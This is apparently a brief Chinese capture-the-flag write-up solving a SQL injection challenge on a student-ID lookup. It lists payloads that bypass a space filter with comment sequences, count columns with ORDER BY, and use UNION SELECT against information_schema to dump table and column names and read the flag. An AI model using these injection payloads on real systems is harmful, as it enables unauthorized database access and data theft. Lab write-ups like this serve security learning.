打开题目

输入1

输出

输入1'会提示学号不存在

输入1/**/or/**/1=1#,过滤了空格。

1/**/order/**/by/**/3# 存在 1/**/order/**/by/**/4# 不存在

绕过

爆破表名
-1/**/Union/**/Select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#    

#爆破字段名
-1/**/UNion/**/Select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'#

爆破flag

-1/**/UNion/**/Select/**/1,value,flag/**/from/**/flag#

flag{c5927c86-e130-4072-b7f0-55541c718788}